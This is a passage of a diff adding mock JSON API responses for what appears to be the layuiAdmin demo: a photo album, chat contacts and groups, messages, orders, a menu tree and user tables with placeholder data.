|
||||
,"replytime": 20180515
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
{
|
||||
"code": 0,
|
||||
"msg": "",
|
||||
"title": "JSON请求的相册",
|
||||
"id": 8,
|
||||
"start": 0,
|
||||
"data": [
|
||||
{
|
||||
"alt": "layer",
|
||||
"pid": 109,
|
||||
"src": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "说好的,一起Fly",
|
||||
"pid": 110,
|
||||
"src": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4kebemcj20ga09saa1.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "佟丽娅女神",
|
||||
"pid": 111,
|
||||
"src": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "凤姐是个好人",
|
||||
"pid": 112,
|
||||
"src": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4kec9vuj20b20dwmyk.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "星空如此深邃",
|
||||
"pid": 113,
|
||||
"src": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4keca8ag208g06iglw.gif",
|
||||
"thumb": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"mine": {
|
||||
"username": "纸飞机"
|
||||
,"id": "100000"
|
||||
,"status": "online"
|
||||
,"sign": "在深邃的编码世界,做一枚轻盈的纸飞机"
|
||||
,"avatar": "//res.layui.com/images/fly/avatar/00.jpg"
|
||||
}
|
||||
,"friend": [{
|
||||
"groupname": "知名人物"
|
||||
,"id": 0
|
||||
,"list": [{
|
||||
"username": "贤心"
|
||||
,"id": "100001"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.118.118.180/5db11ff4gw1e77d3nqrv8j203b03cweg.jpg"
|
||||
,"sign": "这些都是测试数据,实际使用请严格按照该格式返回"
|
||||
,"status": "online"
|
||||
},{
|
||||
"username": "刘涛tamia"
|
||||
,"id": "100001222"
|
||||
,"sign": "如约而至,不负姊妹欢乐颂"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.1.1125.1125.180/475bb144jw8f9nwebnuhkj20v90vbwh9.jpg"
|
||||
},{
|
||||
"username": "谢楠"
|
||||
,"id": "10034001"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.1.0.747.747.180/633f068fjw8f9h040n951j20ku0kr74t.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "马小云"
|
||||
,"id": "168168"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.180.180.180/7fde8b93jw1e8qgp5bmzyj2050050aa8.jpg"
|
||||
,"sign": "让天下没有难写的代码"
|
||||
},{
|
||||
"username": "徐小峥"
|
||||
,"id": "666666"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.512.512.180/6a4acad5jw8eqi6yaholjj20e80e8t9f.jpg"
|
||||
,"sign": "代码在囧途,也要写到底"
|
||||
}]
|
||||
},{
|
||||
"groupname": "网红声优"
|
||||
,"id": 1
|
||||
,"list": [{
|
||||
"username": "罗玉凤"
|
||||
,"id": "121286"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.0.640.640.180/4a02849cjw8fc8vn18vktj20hs0hs75v.jpg"
|
||||
,"sign": "在自己实力不济的时候,不要去相信什么媒体和记者。他们不是善良的人,有时候候他们的采访对当事人而言就是陷阱"
|
||||
},{
|
||||
"username": "Z_子晴"
|
||||
,"id": "108101"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.23.1242.1242.180/8693225ajw8fbimjimpjwj20yi0zs77l.jpg"
|
||||
,"sign": "微电商达人"
|
||||
},{
|
||||
"username": "大鱼_MsYuyu"
|
||||
,"id": "12123454"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.512.512.180/005LMAegjw8f2bp9qg4mrj30e80e8dg5.jpg"
|
||||
,"sign": "我瘋了!這也太準了吧 超級笑點低"
|
||||
},{
|
||||
"username": "醋醋cucu"
|
||||
,"id": "102101"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.640.640.180/648fbe5ejw8ethmg0u9egj20hs0ht0tn.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "柏雪近在它香"
|
||||
,"id": "3435343"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.8.751.751.180/961a9be5jw8fczq7q98i7j20kv0lcwfn.jpg"
|
||||
,"sign": ""
|
||||
}]
|
||||
},{
|
||||
"groupname": "女神艺人"
|
||||
,"id": 2
|
||||
,"list": [{
|
||||
"username": "王祖贤"
|
||||
,"id": "76543"
|
||||
,"avatar": "//wx2.sinaimg.cn/mw690/5db11ff4gy1flxmew7edlj203d03wt8n.jpg"
|
||||
,"sign": "我爱贤心"
|
||||
},{
|
||||
"username": "佟丽娅"
|
||||
,"id": "4803920"
|
||||
,"avatar": "//tva3.sinaimg.cn/crop.0.0.750.750.180/5033b6dbjw8etqysyifpkj20ku0kuwfw.jpg"
|
||||
,"sign": "我也爱贤心吖吖啊"
|
||||
}]
|
||||
}]
|
||||
,"group": [{
|
||||
"groupname": "前端群"
|
||||
,"id": "101"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.200.200.50/006q8Q6bjw8f20zsdem2mj305k05kdfw.jpg"
|
||||
},{
|
||||
"groupname": "Fly社区官方群"
|
||||
,"id": "102"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.199.199.180/005Zseqhjw1eplix1brxxj305k05kjrf.jpg"
|
||||
}]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"list": [{
|
||||
"username": "贤心"
|
||||
,"id": "100001"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.118.118.180/5db11ff4gw1e77d3nqrv8j203b03cweg.jpg"
|
||||
,"sign": "这些都是测试数据,实际使用请严格按照该格式返回"
|
||||
},{
|
||||
"username": "Z_子晴"
|
||||
,"id": "108101"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.23.1242.1242.180/8693225ajw8fbimjimpjwj20yi0zs77l.jpg"
|
||||
,"sign": "微电商达人"
|
||||
},{
|
||||
"username": "Lemon_CC"
|
||||
,"id": "102101"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.0.180.180.180/6d424ea5jw1e8qgp5bmzyj2050050aa8.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "马小云"
|
||||
,"id": "168168"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.180.180.180/7fde8b93jw1e8qgp5bmzyj2050050aa8.jpg"
|
||||
,"sign": "让天下没有难写的代码"
|
||||
},{
|
||||
"username": "徐小峥"
|
||||
,"id": "666666"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.512.512.180/6a4acad5jw8eqi6yaholjj20e80e8t9f.jpg"
|
||||
,"sign": "代码在囧途,也要写到底"
|
||||
},{
|
||||
"username": "罗玉凤"
|
||||
,"id": "121286"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.0.640.640.180/4a02849cjw8fc8vn18vktj20hs0hs75v.jpg"
|
||||
,"sign": "在自己实力不济的时候,不要去相信什么媒体和记者。他们不是善良的人,有时候候他们的采访对当事人而言就是陷阱"
|
||||
},{
|
||||
"username": "刘涛tamia"
|
||||
,"id": "100001222"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.1.1125.1125.180/475bb144jw8f9nwebnuhkj20v90vbwh9.jpg"
|
||||
,"sign": "如约而至,不负姊妹欢乐颂"
|
||||
},{
|
||||
"username": "大鱼_MsYuyu"
|
||||
,"id": "12123454"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.512.512.180/005LMAegjw8f2bp9qg4mrj30e80e8dg5.jpg"
|
||||
,"sign": "我瘋了!這也太準了吧 超級笑點低"
|
||||
},{
|
||||
"username": "谢楠"
|
||||
,"id": "10034001"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.1.0.747.747.180/633f068fjw8f9h040n951j20ku0kr74t.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "柏雪近在它香"
|
||||
,"id": "3435343"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.8.751.751.180/961a9be5jw8fczq7q98i7j20kv0lcwfn.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "林心如"
|
||||
,"id": "76543"
|
||||
,"avatar": "//tva3.sinaimg.cn/crop.0.0.512.512.180/48f122e6jw8fcmi072lkyj20e80e8t9i.jpg"
|
||||
,"sign": "我爱贤心"
|
||||
},{
|
||||
"username": "佟丽娅"
|
||||
,"id": "4803920"
|
||||
,"avatar": "//tva3.sinaimg.cn/crop.0.0.750.750.180/5033b6dbjw8etqysyifpkj20ku0kuwfw.jpg"
|
||||
,"sign": "我也爱贤心吖吖啊"
|
||||
}]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"invoice": "X123565541"
|
||||
,"username": "张小三"
|
||||
,"orderDate": "2017-11-10"
|
||||
,"amount": 800
|
||||
,"status": 1
|
||||
},{
|
||||
"invoice": "X123565542"
|
||||
,"username": "李小四"
|
||||
,"orderDate": "2017-11-10"
|
||||
,"amount": 800
|
||||
,"status": 0
|
||||
},{
|
||||
"invoice": "X123565543"
|
||||
,"username": "王老五"
|
||||
,"orderDate": "2017-11-10"
|
||||
,"amount": 800
|
||||
,"status": 1
|
||||
},{
|
||||
"invoice": "X123565544"
|
||||
,"username": "赵小六"
|
||||
,"orderDate": "2017-11-09"
|
||||
,"amount": 1600
|
||||
,"status": 1
|
||||
},{
|
||||
"invoice": "X123565545"
|
||||
,"username": "孙小七"
|
||||
,"orderDate": "2017-11-09"
|
||||
,"amount": 1600
|
||||
,"status": -1
|
||||
},{
|
||||
"invoice": "X123565546"
|
||||
,"username": "周小八"
|
||||
,"orderDate": "2017-11-08"
|
||||
,"amount": 2600
|
||||
,"status": 1
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": [{
|
||||
"name": "component"
|
||||
,"title": "组件"
|
||||
,"icon": "layui-icon-component"
|
||||
,"list": [{
|
||||
"name": "grid"
|
||||
,"title": "栅格"
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "等比例列表排列"
|
||||
},{
|
||||
"name": "mobile"
|
||||
,"title": "按移动端排列"
|
||||
},{
|
||||
"name": "mobile-pc"
|
||||
,"title": "移动桌面端组合"
|
||||
},{
|
||||
"name": "all"
|
||||
,"title": "全端复杂组合"
|
||||
},{
|
||||
"name": "stack"
|
||||
,"title": "低于桌面堆叠排列"
|
||||
},{
|
||||
"name": "speed-dial"
|
||||
,"title": "九宫格"
|
||||
}]
|
||||
}, {
|
||||
"name": "button"
|
||||
,"title": "按钮"
|
||||
}, {
|
||||
"name": "form"
|
||||
,"title": "表单"
|
||||
,"list": [{
|
||||
"name": "element"
|
||||
,"title": "表单元素"
|
||||
},{
|
||||
"name": "group"
|
||||
,"title": "表单组合"
|
||||
}]
|
||||
}, {
|
||||
"name": "nav"
|
||||
,"title": "导航"
|
||||
}, {
|
||||
"name": "tabs"
|
||||
,"title": "选项卡"
|
||||
}, {
|
||||
"name": "progress"
|
||||
,"title": "进度条"
|
||||
}, {
|
||||
"name": "panel"
|
||||
,"title": "面板"
|
||||
}, {
|
||||
"name": "badge"
|
||||
,"title": "徽章"
|
||||
}, {
|
||||
"name": "timeline"
|
||||
,"title": "时间线"
|
||||
}, {
|
||||
"name": "anim"
|
||||
,"title": "动画"
|
||||
}, {
|
||||
"name": "auxiliar"
|
||||
,"title": "辅助"
|
||||
}, {
|
||||
"name": "layer"
|
||||
,"title": "通用弹层"
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "功能演示"
|
||||
},{
|
||||
"name": "special-demo"
|
||||
,"title": "特殊示例"
|
||||
},{
|
||||
"name": "theme"
|
||||
,"title": "风格定制"
|
||||
}]
|
||||
}, {
|
||||
"name": "laydate"
|
||||
,"title": "日期时间"
|
||||
}, {
|
||||
"name": "table"
|
||||
,"title": "表格"
|
||||
}, {
|
||||
"name": "laypage"
|
||||
,"title": "分页"
|
||||
}, {
|
||||
"name": "upload"
|
||||
,"title": "上传"
|
||||
}, {
|
||||
"name": "carousel"
|
||||
,"title": "轮播"
|
||||
}, {
|
||||
"name": "laytpl"
|
||||
,"title": "模板引擎"
|
||||
}, {
|
||||
"name": "flow"
|
||||
,"title": "流加载"
|
||||
}, {
|
||||
"name": "util"
|
||||
,"title": "工具"
|
||||
}, {
|
||||
"name": "code"
|
||||
,"title": "代码修饰"
|
||||
}, {
|
||||
"name": "layim"
|
||||
,"title": "即时聊天"
|
||||
,"jump": "senior/im/"
|
||||
}]
|
||||
}, {
|
||||
"name": "template"
|
||||
,"title": "模板"
|
||||
,"icon": "layui-icon-template"
|
||||
,"list": [{
|
||||
"name": "user"
|
||||
,"title": "用户相关"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "reg"
|
||||
,"title": "注册"
|
||||
,"jump": "user/reg"
|
||||
},{
|
||||
"name": "login"
|
||||
,"title": "登入"
|
||||
,"jump": "user/login"
|
||||
},{
|
||||
"name": "forget"
|
||||
,"title": "忘记密码"
|
||||
,"jump": "user/forget"
|
||||
}]
|
||||
}, {
|
||||
"name": "tips"
|
||||
,"title": "提示页面"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "404"
|
||||
,"title": "404"
|
||||
},{
|
||||
"name": "error"
|
||||
,"title": "错误提示"
|
||||
}]
|
||||
}, {
|
||||
"name": ""
|
||||
,"title": "内嵌页面"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": ""
|
||||
,"title": "百度一下"
|
||||
,"jump": "/iframe/link/baidu"
|
||||
}, {
|
||||
"name": ""
|
||||
,"title": "layui官网"
|
||||
,"jump": "/iframe/link/layui"
|
||||
}, {
|
||||
"name": ""
|
||||
,"title": "layuiAdmin官网"
|
||||
,"jump": "/iframe/link/layuiAdmin"
|
||||
}]
|
||||
}]
|
||||
}, {
|
||||
"name": "app"
|
||||
,"title": "应用"
|
||||
,"icon": "layui-icon-app"
|
||||
,"list": [{
|
||||
"name": "message"
|
||||
,"title": "消息中心"
|
||||
}]
|
||||
}, {
|
||||
"name": "senior"
|
||||
,"title": "高级"
|
||||
,"icon": "layui-icon-senior"
|
||||
,"list": [{
|
||||
"name": "im"
|
||||
,"title": "通讯系统"
|
||||
}]
|
||||
}, {
|
||||
"name": "user"
|
||||
,"title": "用户"
|
||||
,"icon": "layui-icon-user"
|
||||
,"list": [{
|
||||
"name": "user"
|
||||
,"title": "用户"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "用户列表"
|
||||
}]
|
||||
},{
|
||||
"name": "administrators"
|
||||
,"title": "后台管理组"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "管理员列表"
|
||||
},{
|
||||
"name": "role"
|
||||
,"title": "角色管理"
|
||||
}]
|
||||
}]
|
||||
}, {
|
||||
"name": "set"
|
||||
,"title": "设置"
|
||||
,"icon": "layui-icon-set"
|
||||
,"list": [{
|
||||
"name": "base"
|
||||
,"title": "基本设置"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "website"
|
||||
,"title": "系统设置"
|
||||
},{
|
||||
"name": "email"
|
||||
,"title": "邮件服务"
|
||||
}]
|
||||
},{
|
||||
"name": "security"
|
||||
,"title": "安全设置"
|
||||
}]
|
||||
}, {
|
||||
"name": "get"
|
||||
,"title": "授权"
|
||||
,"icon": "layui-icon-auz"
|
||||
,"jump": "system/get"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 60
|
||||
,"data": [{
|
||||
"id": 123
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510363800000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1507447570000
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"content": "<p>一直以来,layui 秉承无偿开源的初心,虔诚致力于服务各层次前后端 Web 开发者,在商业横飞的当今时代,这一信念从未动摇。即便身单力薄,仍然重拾决心,埋头造轮,以尽可能地填补产品本身的缺口。在过去的一段的时间,我一直在寻求持久之道,已维持你眼前所见的一切。而 layuiAdmin 是我们尝试解决的手段之一。我相信真正有爱于 layui 生态的你,定然不会错过这一拥抱吧。</p><p>子曰:君子不用防,小人防不住。请务必通过官网正规渠道,获得 <a href=\"http://www.layui.com/admin/\" target=\"_blank\">layuiAdmin</a>!</p><p>—— 贤心(<a href=\"http://www.layui.com/\" target=\"_blank\">layui.com</a>)</p>"
|
||||
,"time": 1510363800000
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 60
|
||||
,"data": [{
|
||||
"id": 123
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510363800000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1507447570000
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"newmsg": 3
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 60
|
||||
,"data": [{
|
||||
"id": 123
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510363800000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1507447570000
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 3000000
|
||||
,"data": [{
|
||||
"id": "10001"
|
||||
,"username": "杜甫"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "点击此处,显示更多。当内容超出时,点击单元格会自动显示更多内容。"
|
||||
,"experience": "116"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "108"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10002"
|
||||
,"username": "李白"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "君不见,黄河之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐,会须一饮三百杯。 岑夫子,丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。(倾耳听 一作:侧耳听) 钟鼓馔玉不足贵,但愿长醉不复醒。(不足贵 一作:何足贵;不复醒 一作:不愿醒/不用醒) 古来圣贤皆寂寞,惟有饮者留其名。(古来 一作:自古;惟 通:唯) 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
,"LAY_CHECKED": true
|
||||
}, {
|
||||
"id": "10003"
|
||||
,"username": "王勃"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "65"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10004"
|
||||
,"username": "李清照"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "666"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10005"
|
||||
,"username": "冰心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "86"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10006"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10007"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "16"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10008"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "106"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 66
|
||||
,"data": [{
|
||||
"username": "张小三"
|
||||
,"amount": 18
|
||||
,"province": "浙江"
|
||||
,"city": "杭州"
|
||||
,"zone": "西湖区"
|
||||
,"street": "西溪街道"
|
||||
,"address": "西溪花园"
|
||||
,"house": "30栋1单元"
|
||||
}, {
|
||||
"username": "李小四"
|
||||
,"amount": 39
|
||||
,"province": "江苏"
|
||||
,"city": "苏州"
|
||||
,"zone": "姑苏区"
|
||||
,"street": "丝绸路"
|
||||
,"address": "天墅之城"
|
||||
,"house": "9幢2单元"
|
||||
}, {
|
||||
"username": "王小五"
|
||||
,"amount": 8
|
||||
,"province": "江西"
|
||||
,"city": "南昌"
|
||||
,"zone": "青山湖区"
|
||||
,"street": "艾溪湖办事处"
|
||||
,"address": "中兴和园"
|
||||
,"house": "1幢3单元"
|
||||
}, {
|
||||
"username": "赵小六"
|
||||
,"amount": 16
|
||||
,"province": "福建"
|
||||
,"city": "泉州"
|
||||
,"zone": "丰泽区"
|
||||
,"street": "南洋街道"
|
||||
,"address": "南洋村"
|
||||
,"house": "6幢1单元"
|
||||
}, {
|
||||
"username": "孙小七"
|
||||
,"amount": 12
|
||||
,"province": "湖北"
|
||||
,"city": "武汉"
|
||||
,"zone": "武昌区"
|
||||
,"street": "武昌大道"
|
||||
,"address": "两湖花园"
|
||||
,"house": "16幢2单元"
|
||||
}, {
|
||||
"username": "周小八"
|
||||
,"amount": 11
|
||||
,"province": "安徽"
|
||||
,"city": "黄山"
|
||||
,"zone": "黄山区"
|
||||
,"street": "汤口镇"
|
||||
,"address": "温泉村"
|
||||
,"house": "21号"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
{
|
||||
"status": 200
|
||||
,"message": ""
|
||||
,"total": 8
|
||||
,"rows": {
|
||||
"item": [{
|
||||
"id": "10001"
|
||||
,"username": "杜甫"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "点击此处,显示更多。当内容超出时,点击单元格会自动显示更多内容。"
|
||||
,"experience": "116"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "108"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10002"
|
||||
,"username": "李白"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "君不见,黄河之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐,会须一饮三百杯。 岑夫子,丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。(倾耳听 一作:侧耳听) 钟鼓馔玉不足贵,但愿长醉不复醒。(不足贵 一作:何足贵;不复醒 一作:不愿醒/不用醒) 古来圣贤皆寂寞,惟有饮者留其名。(古来 一作:自古;惟 通:唯) 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10003"
|
||||
,"username": "王勃"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "65"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10004"
|
||||
,"username": "李清照"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "666"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10005"
|
||||
,"username": "冰心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
